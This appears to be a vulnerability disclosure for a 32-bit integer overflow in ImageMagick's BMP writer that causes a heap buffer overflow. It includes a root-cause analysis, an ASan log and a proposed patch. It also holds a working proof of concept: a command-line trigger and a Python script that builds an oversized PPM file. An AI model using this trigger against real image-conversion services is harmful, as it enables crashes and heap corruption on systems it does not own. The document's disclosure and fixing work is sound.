ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow
Summary
A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.
-
Impact: Attacker-controlled heap out-of-bounds (OOB) write during conversion to BMP.
-
Surface: Typical upload → normalize/thumbnail → magick ... out.bmp workers.
-
32-bit: Vulnerable (reproduced with ASan).
-
64-bit: Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.
-
Proposed severity: Critical 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Scope & Affected Builds
-
Project: ImageMagick (BMP writer path, WriteBMPImage in coders/bmp.c).
-
Commit under test: 3fcd081c0278427fc0e8ac40ef75c0a1537792f7
-
Version string from the run: ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712
-
Architecture: 32-bit i686 (sizeof(size_t) == 4) with ASan/UBSan.
-
Note on other versions: Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.
Root Cause (with code anchors)
Stride computation (writer)
bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32);
Per-row base and 24-bpp loop (writer)
q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line;
for (x = 0; x < (ssize_t)image->columns; x++) {
*q++ = B(...); *q++ = G(...); *q++ = R(...); // writes 3 * width bytes
}
Allocation (writer)
pixel_info = AcquireVirtualMemory(image->rows,
MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels));
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);
Dimension “caps” (insufficient)
The writer rejects dimensions that don’t round-trip through signed int, but both overflow thresholds below are ≤ INT_MAX on 32-bit, so the caps do not prevent the bug.
Integer-Overflow Analysis (32-bit size_t)
Stride formula for 24-bpp:
bytes_per_line = 4 * ((width * 24 + 31) / 32)
There are two independent overflow hazards on 32-bit:
-
Stage-1 multiply+add in (width * 24 + 31)
Overflow iff width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969
→ at width ≥ 178,956,970 the numerator wraps small before /32, producing a tiny bytes_per_line.
-
Stage-2 final ×4 after the division
Let q = (width * 24 + 31) / 32. Final ×4 overflows iff q > 0x3FFFFFFF.
Solving gives width ≥ 1,431,655,765 (0x55555555).
Both thresholds are below INT_MAX (≈2.147e9), so “int caps” don’t help.
Mismatch predicate (guaranteed OOB when overflowed):
Per-row write for 24-bpp is row_bytes = 3*width. Safety requires row_bytes ≤ bytes_per_line.
Under either overflow, bytes_per_line collapses → 3*width > bytes_per_line holds → OOB-write.
Concrete Demonstration
Chosen width: W = 178,957,200 (just over Stage-1 bound)
-
Stage-1: 24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32) → 5535
-
Divide by 32: 5535 / 32 = 172
-
Multiply by 4: bytes_per_line = 172 * 4 = **688** bytes ← tiny stride
-
Per-row data (24-bpp): row_bytes = 3*W = **536,871,600** bytes
-
Allocation used: MagickMax(688, W+256) = **178,957,456** bytes
-
Immediate OOB: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.
Observed Result (ASan excerpt)
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 in WriteBMPImage coders/bmp.c:2309
...
allocated by:
AcquireVirtualMemory MagickCore/memory.c:747
WriteBMPImage coders/bmp.c:2092
-
Binary: ELF 32-bit i386, Q8, non-HDRI
-
Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)
Exploitability & Risk
-
Primitive: Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.
-
Control: Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).
-
Likely deployment: Server-side, non-interactive conversion pipelines (UI:N).
-
Outcome: At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to RCE.
Note on 64-bit: Without integer overflow, bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.
Reproduction (copy-paste triager script)
Test Environment:
-
docker run -it --rm --platform linux/386 debian:11 bash
-
Install deps: apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3
-
Clone & checkout: ImageMagick 7.1.2-0 → commit 3fcd081c0278427f...
-
Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):
./configure \
--host=i686-pc-linux-gnu \
--build=x86_64-pc-linux-gnu \
--disable-dependency-tracking \
--disable-silent-rules \
--disable-shared \
--disable-openmp \
--disable-docs \
--without-x \
--without-perl \
--without-magick-plus-plus \
--without-lqr \
--without-zstd \
--without-tiff \
--with-quantum-depth=8 \
--disable-hdri \
CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
LDFLAGS="-fsanitize=address,undefined"
make -j"$(nproc)"
- Runtime limits to exercise writer:
export MAGICK_WIDTH_LIMIT=200000000
export MAGICK_HEIGHT_LIMIT=200000000
export MAGICK_TEMPORARY_PATH=/tmp
export TMPDIR=/tmp
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0"
One-liner trigger (no input file):
W=178957200
./utilities/magick \
-limit width 200000000 -limit height 200000000 \
-limit memory 268435456 -limit map 0 -limit disk 200000000000 \
-limit thread 1 \
-size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null
Expected: ASan heap-buffer-overflow in WriteBMPImage (will be provided in a private gist link).
Alternate PoC (raw PPM generator):
#!/usr/bin/env python3
W, H, MAXV = 180_000_000, 1, 255
# W > 178,956,969
with open("huge.ppm", "wb") as f:
f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii"))
chunk = (b"\x41\x42\x43") * (1024*1024)
remaining = 3 * W
while remaining:
n = min(remaining, len(chunk))
f.write(chunk[:n]); remaining -= n
# Then: magick huge.ppm out.bmp
Proposed Severity
Maintainer Pushbacks — Pre-empted
-
“MagickMax makes allocation large.” The row base advances by overflowed bytes_per_line, causing row overlap and eventual region exit regardless of total allocation size.
-
“We’re 64-bit only.” Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.
-
“Resource policy blocks large images.” That’s environment-dependent defense-in-depth; arithmetic must be correct.
Remediation (Summary)
Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.
Concretely:
- Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t.
- Compute row_bytes for the chosen bpp and assert row_bytes <= bytes_per_line.
- Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.
A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).
Regression Tests to Include (PR-friendly)
-
32-bit overflow repros (with ASan):
-
rows=1, width ≥ 178,956,970, bpp=24 → now cleanly errors.
-
rows=2, same bound → no row overlap; clean error.
-
64-bit sanity: Medium images (e.g., 8192×4096, 24-bpp) round-trip; header’s biSizeImage = rows * bytes_per_line.
-
Packed bpp (1/4/8): Validate row_bytes = (width*bpp+7)/8 (guarded), 4-pad, and payload ≤ stride holds.
Attachments (private BMP_Package)
Provided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.)
Disclosure & Coordination
Appendices
Appendix A — Patch block tailored to bmp.c
Where this hooks in (current code):
-
Stride is computed here: bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);
-
Header uses bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows);
-
Allocation uses AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns+256UL)*sizeof(*pixels));
-
24-bpp row loop writes pixels then zero-pads up to bytes_per_line (so the per-row slot size matters): for (x=3L*(ssize_t)image->columns; x < (ssize_t)bytes_per_line; x++) *q++=0x00;
Suggested Patch (minimal surface, guards + invariant)
I recommend this in place of the existing bytes_per_line assignment and the subsequent bmp_info.image_size / allocation block. Keep your macros and local variables as-is.
/* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */
/* 1) Guard the original stride arithmetic (preserve behavior, add checks). */
if (bmp_info.bits_per_pixel == 0 ||
(size_t)image->columns > (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
size_t _tmp = (size_t)image->columns * (size_t)bmp_info.bits_per_pixel + 31;
/* Divide first; then check the final ×4 won't overflow. */
_tmp /= 32;
if (_tmp > (SIZE_MAX / 4))
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bytes_per_line = 4 * _tmp; /* same formula as before, now checked */
/* 2) Compute the actual data bytes written per row for the chosen bpp. */
size_t row_bytes;
if (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) {
/* packed: ceil(width*bpp/8) */
if ((size_t)image->columns > (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
row_bytes = (((size_t)image->columns * (size_t)bmp_info.bits_per_pixel) + 7) >> 3;
} else {
/* 16/24/32 bpp: (bpp/8) * width */
size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8;
if (bpp_bytes == 0 || (size_t)image->columns > SIZE_MAX / bpp_bytes)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
row_bytes = bpp_bytes * (size_t)image->columns;
}
/* 3) Per-row safety invariant: the payload must fit the stride. */
if (row_bytes > bytes_per_line)
ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
/* 4) Guard header size and allocation products. */
if ((size_t)image->rows == 0)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
/* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */
if (bytes_per_line > 0xFFFFFFFFu / (size_t)image->rows)
ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image->rows);
/* Allocation count = rows * stride_used, with existing MagickMax policy. */
size_t _stride = MagickMax(bytes_per_line, (size_t)image->columns + 256UL);
if (_stride > SIZE_MAX / (size_t)image->rows)
ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixel_info = AcquireVirtualMemory((size_t)image->rows, _stride * sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);
/* Optional: keep zeroing aligned to computed header size. */
(void) memset(pixels, 0, (size_t) bmp_info.image_size);
/* --- PATCH END --- */
Why this is the right spot?
-
It replaces the unguarded stride line you currently have, without changing the algorithm (still 4*((W*bpp+31)/32)).
-
It fixes the header (biSizeImage) to be a checked product, instead of a potentially wrapped multiplication.
-
It guards allocation where you presently allocate rows × MagickMax(bytes_per_line, columns+256).
-
The invariant row_bytes ≤ bytes_per_line ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to bytes_per_line) can never exceed the per-row slot the code relies on.
Notes
-
Behavior preserved: The stride value for normal images is unchanged; only pathological integer states are rejected.
-
Header consistency: biSizeImage = rows * bytes_per_line remains true by construction, but now cannot overflow a 32-bit DIB field.
-
Defensive alignment: If you prefer, you can compute bytes_per_line as ((row_bytes + 3) & ~3U); it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.
A slightly larger “helpers” variant (with safe_mul_size / safe_add_size utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.
Appendix B — Arithmetic Worked Example (W=178,957,200)
-
(24W + 31) mod 2^32 = 5535
-
bytes_per_line = 4 * (5535/32) = 688
-
row_bytes (24-bpp) = 536,871,600
-
Allocation via MagickMax = 178,957,456 → immediate row 0 out-of-bounds.
Appendix C — Raw ASan Log (trimmed)
=================================================================
==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 at 0x6eaac490 thread T0
#0 0xed2788 in WriteBMPImage coders/bmp.c:2309
#1 0x13da32c in WriteImage MagickCore/constitute.c:1342
#2 0x13dc657 in WriteImages MagickCore/constitute.c:1564
0x6eaac490 is located 0 bytes to the right of 178957456-byte region
allocated by thread T0 here:
#0 0x408e30ab in __interceptor_posix_memalign
#1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747
#2 0xecd597 in WriteBMPImage coders/bmp.c:2092
